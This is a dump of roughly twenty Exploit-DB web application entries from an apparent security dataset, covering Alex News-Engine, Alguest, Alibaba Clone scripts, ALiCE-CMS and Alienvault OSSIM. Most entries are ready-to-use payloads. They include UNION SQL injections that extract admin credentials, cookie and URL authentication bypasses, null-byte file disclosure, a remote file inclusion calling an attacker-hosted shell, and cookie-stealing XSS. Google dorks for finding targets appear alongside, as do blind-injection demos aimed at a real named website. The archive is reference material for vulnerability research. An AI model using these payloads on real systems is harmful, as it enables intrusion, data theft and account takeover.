deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7157
Description: Alex News-Engine 1.5.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-11-19
Author: Batter

Exploit:
########################################################################
#
#                        Yellow Flood Organization
#
# Alex News-engine (fckeditor) Arbitrary File Upload
#
# Source: http://www.alexscriptengine.de/blog/category/news-engine/
#
# Download: http://www.alexscriptengine.de/blog/asedownloads/news-engine/
#
# Discover by: Batter
#
########################################################################



####################
- Vulnerability:
####################

/editors/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=/

####################
- Exploit:
####################

http://www.site.com/path/admin/includes/FCKeditor/editor/filemanager/browser/default/connectors/test.html

####################
- how To use:
####################

http://www.site.com/script-folder-name/script-folder-name/images/site_images/uploadet-file.*

####################
- Solution:
####################

Restrict and grant only trusted users access to the resources.

####################
- Greets :
####################

THE.HACKER.ONE , Str0ke

####################

# milw0rm.com [2008-11-19]
Exploit-DB #35050
Description: Alguest 1.1 - 'start' SQL Injection
Type: webapps
Platform: php
Date: 2010-12-06
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45214/info

Alguest is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Alguest 1.1c-patched is vulnerable; other versions may also be affected. 

http://www.example.com/alguest/index.php?start='
Exploit-DB #35044
Description: Alguest 1.1 - Multiple Cookie Authentication Bypass Vulnerabilities
Type: webapps
Platform: php
Date: 2010-12-03
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45175/info

Alguest is prone to multiple authentication-bypass vulnerabilities.

Attackers can exploit this issue to gain administrative control of the affected application.

Alguest 1.1c-patched is vulnerable; other versions may also be affected. 

The following example input is available:

Cookie: admin=anyvalue
Exploit-DB #35227
Description: Alguest 1.1c-patched - 'elimina' SQL Injection
Type: webapps
Platform: php
Date: 2011-01-14
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45812/info

Alguest is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Alguest 1.1c-patched is vulnerable; other versions may also be affected. 

The following example POST request is available:

POST /alguest/elimina.php HTTP/1.0
Host: website
Cookie: admin=1
Content-Length: N
send=elimina&elimina=[SQL Injection]
Exploit-DB #39759
Description: Alibaba Clone B2B Script - Admin Authentication Bypass
Type: webapps
Platform: php
Date: 2016-05-04
Author: Meisam Monsef

Exploit:
# Exploit Title: Alibaba Clone B2B Script Admin Authentication Bypass
# Date: 2016-05-03
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://alibaba-clone.com/
# Version: All Versions

Exploit :
For enter , simply enter the following code
http://server/admin/adminhome.php?tmp=1

For each page is enough to add the following code to the end of url
example see page members :
http://server/admin/members.php?tmp=1

or add a new news :
http://server/admin/hot_news_menu.php?tmp=1

or edit news :
http://server/admin/edit_hot_news.php?hotnewsid=44&tmp=1
Exploit-DB #40006
Description: Alibaba Clone B2B Script - Arbitrary File Disclosure
Type: webapps
Platform: php
Date: 2016-06-23
Author: Meisam Monsef

Exploit:
# Exploit Title: Alibaba Clone B2B Script File Read Vulnerability
# Date: 2016-06-22
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://alibaba-clone.com/
# Version: All Versions
# Tested on: CentOS and Windows

Exploit :
http://site/show_page.php?page=../[FilePath]%00

Example :
http://site/show_page.php?page=../configure.php%00
Exploit-DB #12609
Description: Alibaba Clone Platinum - '/buyer/index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-14
Author: GuN

Exploit:
# Title: Alibaba Clone Platinum (buyer/index.php) SQL Injection Vulnerability 
# Author: GuN
# Published: 2010-14-05 
# Verified: yes 


........../¯¯/).................(\¯¯\..........
........./¯.//....................\\.¯\.........
......../..//.........GuN........\\..\........
../´¯`/'

 /´`\...WJA-TEAM../´`\ '\`´¯\...
./

 '/ / / /¨/¯\................./¯\¨\ \ \ \' \.
(
 '( ´ ´ ¯\/'' )................( ''/\¯ ` ` )' )




-----------------------------------------------------------------------
  Alibaba Clone Platinum (buyer/index.php) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author      : GuN
Location    : Tunisia - Tunis - Lycée el Omrane
Time Zone   : GMT +1:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Application : Alibaba Clone Platinum
Vendor      : http://www.alibabaclone.com/
Price       : $699 USD
Google Dork : allinurl:buyer/index.php?ProductID=
Overview    :B2B
 trading Marketplace Script clone of alibaba 
Marketplace script is a 
wonderful solution to launch your own business to 
business and b2c site. 
Script is packed with lot of features to provide a 
very sound foundation 
to your trading portal site.

  

Exploit:
~~~~~~~
-22+UNION+all+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,concat(LoginID,0x3a,password)GuN,37,38,39,40,41+from+admin--

  

  SQLi GuN:
  ~~~~~~~
   
  http://127.0.0.1/[patch]/buyer/index.php?ProductID=&BuyerID=

  

GreetZ To: Sparta <==> Amino <==> HassenO <==> Anis 
<3 Inter  <==> Volc4n0 <==> Vbspiders.com

  

  Contact:

XGuN@Hacker.Ps

  ~~~~

  XGuN@ViP.Cn

  ~~~~
Exploit-DB #12612
Description: Alibaba Clone Platinum - 'about_us.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-15
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------------

Alibaba Clone Platinum (about_us.php) SQL Injection Vulnerability

-------------------------------------------------------------------------------------------

Author: CoBRa_21

Mail: uyku_cu@windowslive.com

Script Home: http://www.alibabaclone.com/

Price: $699 USD

Dork: inurl:buyer/about_us.php?BuyerID
-------------------------------------------------------------------------------------------

Sql Injection:

http://localhost/[path]/buyer/about_us.php?BuyerID=-31%20union/**/select%200,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,concat%28LoginID,0x3a,password%29,38,39,40%20from%20admin

-------------------------------------------------------------------------------------------
Exploit-DB #12468
Description: Alibaba Clone Platinum - 'offers_buy.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-30
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
  Alibaba Clone Platinum (offers_buy.php) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: April, 30-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Alibaba Clone Platinum
Vendor  	: http://www.alibabaclone.com/
Price		: $699 USD
Google Dork	: allinurl:offers_buy.php?id=
Overview	:

B2B trading Marketplace Script clone of alibaba Marketplace script is a 
wonderful solution to launch your own business to business and b2c site. 
Script is packed with lot of features to provide a very sound foundation 
to your trading portal site.
----------------------------------------------------------------

Exploit:
~~~~~~~

-9999+union+all+select+0,0,group_concat(es_admin_name,char(58),es_pwd)v3n0m,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+esb2b_admin--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/offers_buy.php?id=[SQLi]
----------------------------------------------------------------

Shoutz:
~~~~

- 'malingsial banyak cakap, you skill off bullshit on'
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,mywisdom,yadoy666,udhit
- c4uR (ah payah c4uR dipeser cengeng bruakakaka)
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- Chip D3 Bi0s & LatinHackTeam (Good Job & Good Research Brotha ;)
- elicha cristia [ luv You...luv You...luv You... :) ]
- N.O.C & Technical Support @office "except ahong (fuck you off)"
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
Homepage: http://yogyacarderlink.web.id/
	  http://v3n0m.blogdetik.com/
	  http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]--------------------------------
Exploit-DB #41726
Description: Alibaba Clone Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-26
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Alibaba Clone Script - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://b2bbusinessdirectoryscript.com/alibaba-clone-script.html
# Demo: http://thealidemox.com
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/ajax.php?section=count_classified&cl_id=[SQL]
# http://localhost/[PATH]/ajax.php?section=count_tradeleade&cl_id=[SQL]
# http://localhost/[PATH]/ajax.php?section=count_product&pro_id=[SQL]
# Etc...
# # # # #
Exploit-DB #27605
Description: Alibaba Clone Tritanium Version - 'news_desc.html' SQL Injection
Type: webapps
Platform: php
Date: 2013-08-15
Author: IRAQ_JAGUAR

Exploit:
#--------------------------------------------------------
#Alibaba Clone Tritanium Version  (news_desc.html)  Sql Injection Vulnerability
#--------------------------------------------------------
#Date 15-08-2013
#
#--------------------------------------------------------
#Discovered By: IRAQ_JAGUAR
#
#
#Mail: iraq_jaguar@yahoo.com      
#-------------------------------------------------------
#
#Script:   Alibaba Clone Tritanium Version
#
#Script Home Page:  http://www.ec21clone.com/products.php
#
#--------------------------------------------------------
#Poc/Exploit:
#
#
#http://www.target.com/[path]/news_desc.html?id=6'
#
#
#Greetz To : v4-team.com
Exploit-DB #9211
Description: Alibaba-clone CMS - SQL Injection / Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-07-20
Author: 599eme Man

Exploit:
# [+] Alibaba-clone CMS (SQL/bSQL) Remote SQL  Injection

# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
# [+] Dowload : http://blog.duslerim.net/cms/alibabacom-clone-new.html
# [+] Big Thanks to: Moudi :)

>> [+] Exploit :

http://www.site.com/path/supplier/view_contact_details.php?SellerID=(Blind) or (SQL)

http://www.site.com/path/category.php?IndustryID=(Blind) or (SQL)

>> [+] Demo BLIND:


http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=25 and 1=1 <= true
http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=25 and 1=2 <= false

http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=25 and 1=1+AND+SUBSTRING(@@version,1,1)=5 <= true
http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=25 and 1=1+AND+SUBSTRING(@@version,1,1)=4 <= false
The MYSQL version is : 5

http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=25+and+1=1+union+select+1,2,version()--
See now: 5.0.45-community-nt

http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=25+and+1=1+union+select+1,2,user()--
Nadir_db@temp-webs

http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=25+and+1=1+union+select+1,2,database()--
nas04



>> [+] Demo SQL:


http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=18+union+select+1,2,version()--
The MYSQL version is : 5

http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=18+union+select+1,2,user()--
Nadir_db@temp-webs

http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=18+union+select+1,2,database()--
nas04


Enjoy !!

# milw0rm.com [2009-07-20]
Exploit-DB #2582
Description: ALiCE-CMS 0.1 - 'CONFIG[local_root]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-17
Author: nuffsaid

Exploit:
+-------------------------------------------------------------------------------------------
+ ALiCE-CMS 0.1 (CONFIG[local_root]) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: ALiCE-CMS 0.1
+ Vendor ............: http://alicecms.sourceforge.net/
+ Description .......: "ALiCE is a content-management-system cms written in php4 with mysql database."
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ The $CONFIG['local_root'] variable in modules/guestbook/index.php is not set before being
+ used to include files.
+ 
+ Vulnerable Code:
+ modules/guestbook/index.php, line(s) 2: require $CONFIG['local_root'].'modules/guestbook/guestbook.class.php';
+ modules/guestbook/index.php, line(s) 3: require $CONFIG['local_root'].'modules/guestbook/guestbookfunctions.php';
+ 
+ Proof Of Concept:
+ http://[target]/[path]/modules/guestbook/index.php?CONFIG[local_root]=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-10-17]
Exploit-DB #45827
Description: Alienor Web Libre 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-11-13
Author: Ihsan Sencan

Exploit:
# Exploit Title: Alienor Web Libre 2.0 - SQL Injection
# Dork: N/A
# Date: 2018-11-08
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://alienor.org/
# Software Link: https://excellmedia.dl.sourceforge.net/project/alienorweblibre/alienorweblibre.zip
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php
# 
POST /[PATH]/index.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=aehrspv1bfhbp1iqhkl1107vd7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 306
identifiant=12'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&mot_de_passe=&inventaire=Inventaire
HTTP/1.1 200 OK
Date: Thu, 08 Nov 2018 22:07:19 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 81
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #38784
Description: Alienvault Open Source SIEM (OSSIM) - 'Timestamp' Directory Traversal
Type: webapps
Platform: php
Date: 2013-10-08
Author: Ding Yu-Chi

Exploit:
source: https://www.securityfocus.com/bid/62899/info

Open Source SIEM (OSSIM) is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to gain access to arbitrary system files. Information harvested may aid in launching further attacks.

Open Source SIEM (OSSIM) 4.3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/ossim/ocsreports/tele_compress.php?timestamp=../../../../etc/ossim
Exploit-DB #38679
Description: Alienvault Open Source SIEM (OSSIM) - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2013-07-25
Author: xistence

Exploit:
source: https://www.securityfocus.com/bid/61456/info

Open Source SIEM (OSSIM) is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Open Source SIEM (OSSIM) 4.2.3 is vulnerable; other versions may also be affected.

https://
<IP>/ossim/vulnmeter/index.php?withoutmenu=%22%3E%3Cimg%20src%3da%20onerror%3dalert%28%27XSS%27%29%3E
https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu="><img%20src%3da%20onerror%3dalert('XSS')>
https://
<IP>/ossim/av_inventory/task_edit.php?section="><img%20src%3da%20onerror%3dalert('XSS')>
https://
<IP>/ossim/nfsen/rrdgraph.php?cmd=get-detailsgraph&profile=<img%20src%3da%20onerror%3dalert('XSS')>

POST /ossim/vulnmeter/simulate.php HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0)
Gecko/20100101 Firefox/21.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu=1
Content-Length: 72
Cookie: JXID=blahblah; JXHID=false; PHPSESSID=blahblah
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

hosts_alive=1&scan_locally=1&not_resolve=0&scan_server=<img%20src%3da%20onerror%3dalert('XSS')>&targets=blah


POST /ossim/vulnmeter/simulate.php HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0)
Gecko/20100101 Firefox/21.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu=1
Content-Length: 72
Cookie: JXID=blahblah; JXHID=false; PHPSESSID=blahblah
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

hosts_alive=1&scan_locally=1&not_resolve=0&scan_server=Null&targets=blah<img%20src%3da%20onerror%3dalert('XSS')>
Exploit-DB #38781
Description: Alienvault Open Source SIEM (OSSIM) 3.1 - 'date_from' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2013-10-02
Author: Yu-Chi Ding

Exploit:
source: https://www.securityfocus.com/bid/62790/info

Open Source SIEM (OSSIM) is prone to multiple SQL-injection vulnerabilities.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Open Source SIEM (OSSIM) 4.3.0 and prior are vulnerable. 

http://www.example.com/RadarReport/radar-iso27001-potential.php?date_from=%Inject_Here%

http://www.example.com/RadarReport/radar-iso27001-A12IS_acquisition-pot.php?date_from=%Inject_Here%
Exploit-DB #18800
Description: Alienvault Open Source SIEM (OSSIM) 3.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-04-29
Author: Stefan Schurtz

Exploit:
#####################################################################################
# Advisory: Alienvault OSSIM Open Source SIEM 3.1 Multiple security vulnerabilities
# Advisory ID: SSCHADV-EDB-2012-001
# Contact: sschurtz@darksecurity.de
# Author: Stefan Schurtz
# Affected Software: Successfully tested on Alienvault Open Source SIEM 3.1 (32bit)
# Vendor URL: http://www.alienvault.com/
# Vendor Status: informed
#####################################################################################

==========================
Vulnerability Description
==========================

Alienvault OSSIM Open Source SIEM 3.1 is prone to XSS and SQL-Injection vulnerabilities

==================
PoC-Exploit
==================

#### SQL-Injection //Authentication is needed ####
https://[target]/ossim/forensics/base_qry_main.php?clear_allcriteria=1&num_result_rows=-1&submit=Query+DB¤t_view=-1&sort_order=time_d&time[0][0]=1=1) LIMIT 1--+&time[0][1]=%3E=&time[0][2]=04&time[0][3]=24&time[0][4]=2012&time[0][5]=3&time[0][6]=3&time[0][7]=3&time[0][8]=+&time[0][9]=+&time_range=today&hmenu=Forensics&smenu=Forensics

#### XSS ####
https://[target]/ossim/top.php?option=3&soption=3&url='"</script><script>alert(document.cookie)</script>

#### XSS ####
https://[target]/ossim/forensics/base_qry_main.php?clear_allcriteria=1&num_result_rows=-1&submit=Query+DB¤t_view=-1&sort_order=time_d&time[0][0]=<script>alert(document.cookie)</script>&time[0][1]=%3E=&time[0][2]=04&time[0][3]=24&time[0][4]=2012&time[0][5]=3&time[0][6]=3&time[0][7]=3&time[0][8]=+&time[0][9]=+&time_range=today&hmenu=Forensics&smenu=Forensics